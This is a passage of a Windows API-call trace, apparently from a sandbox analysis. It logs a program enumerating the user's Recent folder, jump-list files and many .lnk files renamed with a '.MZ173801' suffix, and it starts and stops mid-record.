1 [0153.189] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0153.189] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0153.189] FindNextFileW (in: hFindFile=0xa1b9a0, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x646f8d57, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x646f8d57, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x646f8d57, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="b8b3a97bfbf120b6.automaticDestinations-ms", cAlternateFileName="B8B3A9~1.AUT")) returned 1 [0153.189] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0153.189] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0153.189] FindNextFileW (in: hFindFile=0xa1b9a0, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x672a206a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x672a206a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x672a206a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="d00655d2aa12ff6d.automaticDestinations-ms", cAlternateFileName="D00655~1.AUT")) returned 1 [0153.189] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0153.189] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0153.189] FindNextFileW (in: hFindFile=0xa1b9a0, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf981f92, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xbf981f92, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0x845f53cb, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x8498, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="f01b4d95cf55d32a.automaticDestinations-ms", cAlternateFileName="F01B4D~1.AUT")) returned 1 [0153.189] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0153.189] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0153.189] FindNextFileW (in: hFindFile=0xa1b9a0, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67fe51f2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x67fe51f2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x67fe51f2, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="fb3b0dbfee58fac8.automaticDestinations-ms", cAlternateFileName="FB3B0D~1.AUT")) returned 1 [0153.189] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0153.189] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0153.189] FindNextFileW (in: hFindFile=0xa1b9a0, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67fe51f2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x67fe51f2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x67fe51f2, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="fb3b0dbfee58fac8.automaticDestinations-ms", cAlternateFileName="FB3B0D~1.AUT")) returned 0 [0153.189] GetLastError () returned 0x12 [0153.189] FindClose (in: hFindFile=0xa1b9a0 | out: hFindFile=0xa1b9a0) returned 1 [0153.189] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3589be9, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0xf3589be9, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0x81d9364f, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x54f, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="B3BnBu7o8.lnk.MZ173801", cAlternateFileName="B3BNBU~1.MZ1")) returned 1 [0153.189] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0153.189] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0153.189] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4456a14, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0xf4456a14, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0x81db99cd, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x3f9, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="B3oPu9_P2sx63bYJ.lnk.MZ173801", cAlternateFileName="B3OPU9~1.MZ1")) returned 1 [0153.190] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0153.190] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0153.190] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e8d62aa, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x4e8d62aa, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x81db99cd, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x2b5, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="BEd17CeTok20XCp bu.lnk.MZ173801", cAlternateFileName="BED17C~1.MZ1")) returned 1 [0153.190] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0153.190] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0153.190] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5ba2e560, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x5ba2e560, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x81ddfc37, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x498, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="BiCkmLzhNyPE.ots.lnk.MZ173801", cAlternateFileName="BICKML~1.MZ1")) returned 1 [0153.190] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0153.190] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0153.190] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3ef94f4, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0xf3ef94f4, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0x8201beb4, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x56b, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="Bim9Uz1pL.lnk.MZ173801", cAlternateFileName="BIM9UZ~1.MZ1")) returned 1 [0153.190] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0153.190] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0153.190] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5baed0e5, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x5baed0e5, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x8201beb4, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x3c9, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="BjNUPBepTMMyu.lnk.MZ173801", cAlternateFileName="BJNUPB~1.MZ1")) returned 1 [0153.190] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0153.190] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0153.190] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54ab1086, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x54ab1086, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x820420b5, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x47f, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="Bm_0O.lnk.MZ173801", cAlternateFileName="BM_0OL~1.MZ1")) returned 1 [0153.190] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0153.190] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0153.190] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a76c437, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x4a76c437, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x820420b5, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x54a, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="BNpcCajc.lnk.MZ173801", cAlternateFileName="BNPCCA~1.MZ1")) returned 1 [0153.190] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0153.190] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0153.190] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3d0c1fa, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0xf3d0c1fa, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0x820683d9, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x404, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="br3Sl.lnk.MZ173801", cAlternateFileName="BR3SLL~1.MZ1")) returned 1 [0153.190] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0153.190] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0153.190] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4b0b40b, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0xf4b0b40b, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0x8208e679, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x3c4, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="BRtkw7h20gut.lnk.MZ173801", cAlternateFileName="BRTKW7~1.MZ1")) returned 1 [0153.190] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0153.190] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0153.190] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71e33f26, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x71e33f26, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x820b57c8, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x3d6, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="bVOcRN8FT.lnk.MZ173801", cAlternateFileName="BVOCRN~1.MZ1")) returned 1 [0153.190] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0153.190] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0153.190] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf313e41d, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0xf313e41d, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0x820b57c8, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x3e4, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="bx_sreHB6g Fc-Lx.lnk.MZ173801", cAlternateFileName="BX_SRE~1.MZ1")) returned 1 [0153.190] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0153.190] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0153.190] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e36efb5, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x4e36efb5, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x820da9fd, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x3a4, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="bzprLu.lnk.MZ173801", cAlternateFileName="BZPRLU~1.MZ1")) returned 1 [0153.190] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0153.190] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0153.190] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf597f86a, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0xf597f86a, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0x820da9fd, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x489, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="c IXUe-mvNtEdk.lnk.MZ173801", cAlternateFileName="CIXUE-~1.MZ1")) returned 1 [0153.190] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0153.190] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0153.191] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3fd3d5fd, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x3fd3d5fd, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x82100d0c, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x434, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="cEUdy Q8gkA4LqZQF.lnk.MZ173801", cAlternateFileName="CEUDYQ~1.MZ1")) returned 1 [0153.191] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0153.191] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0153.191] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54b236e1, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x54b236e1, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x82127773, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x40d, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="cpvUnLAPgKUFNMAUgON.lnk.MZ173801", cAlternateFileName="CPVUNL~1.MZ1")) returned 1 [0153.191] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0153.191] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0153.191] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbf9a81f7, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xb6d1c405, ftLastAccessTime.dwHighDateTime=0x1d5e7c2, ftLastWriteTime.dwLowDateTime=0xb6d1c405, ftLastWriteTime.dwHighDateTime=0x1d5e7c2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="CustomDestinations", cAlternateFileName="CUSTOM~1")) returned 1 [0153.191] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0153.191] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0153.191] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\*.*", lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbf9a81f7, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xb6d1c405, ftLastAccessTime.dwHighDateTime=0x1d5e7c2, ftLastWriteTime.dwLowDateTime=0xb6d1c405, ftLastWriteTime.dwHighDateTime=0x1d5e7c2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName=".", cAlternateFileName="")) returned 0xa1b9a0 [0153.192] FindNextFileW (in: hFindFile=0xa1b9a0, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbf9a81f7, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xb6d1c405, ftLastAccessTime.dwHighDateTime=0x1d5e7c2, ftLastWriteTime.dwLowDateTime=0xb6d1c405, ftLastWriteTime.dwHighDateTime=0x1d5e7c2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="..", cAlternateFileName="")) returned 1 [0153.192] FindNextFileW (in: hFindFile=0xa1b9a0, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5bfc86f, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0xa5bfc86f, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0xa5bfc86f, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x142f, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="28c8b86deab549a1.customDestinations-ms", cAlternateFileName="28C8B8~1.CUS")) returned 1 [0153.192] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7fc | out: lpLocalFileTime=0x19f7fc) returned 1 [0153.192] FileTimeToDosDateTime (in: lpFileTime=0x19f7fc, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0153.192] FindNextFileW (in: hFindFile=0xa1b9a0, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3564a0f, ftCreationTime.dwHighDateTime=0x1d327c2, ftLastAccessTime.dwLowDateTime=0xd3564a0f, ftLastAccessTime.dwHighDateTime=0x1d327c2, ftLastWriteTime.dwLowDateTime=0xd3564a0f, ftLastWriteTime.dwHighDateTime=0x1d327c2, nFileSizeHigh=0x0, nFileSizeLow=0x1544, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="590aee7bdd69b59b.customDestinations-ms", cAlternateFileName="590AEE~1.CUS")) returned 1 [0153.192] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0153.192] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0153.192] FindNextFileW (in: hFindFile=0xa1b9a0, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f404d4a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3fa2484c, ftLastAccessTime.dwHighDateTime=0x1d5d80c, ftLastWriteTime.dwLowDateTime=0x3fa2484c, ftLastWriteTime.dwHighDateTime=0x1d5d80c, nFileSizeHigh=0x0, nFileSizeLow=0x4ef2, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="6824f4a902c78fbd.customDestinations-ms", cAlternateFileName="6824F4~1.CUS")) returned 1 [0153.192] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0153.193] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0153.193] FindNextFileW (in: hFindFile=0xa1b9a0, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbfad9510, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xe96819d1, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xe96819d1, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x18, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="7e4dca80246863e3.customDestinations-ms", cAlternateFileName="7E4DCA~1.CUS")) returned 1 [0153.193] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0153.193] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0153.193] FindNextFileW (in: hFindFile=0xa1b9a0, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0effce, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x98e794b5, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x98f80fc0, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x64c, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="9d1f905ce5044aee.customDestinations-ms", cAlternateFileName="9D1F90~1.CUS")) returned 1 [0153.193] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0153.193] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0153.193] FindNextFileW (in: hFindFile=0xa1b9a0, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf9a81f7, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xe959cb77, 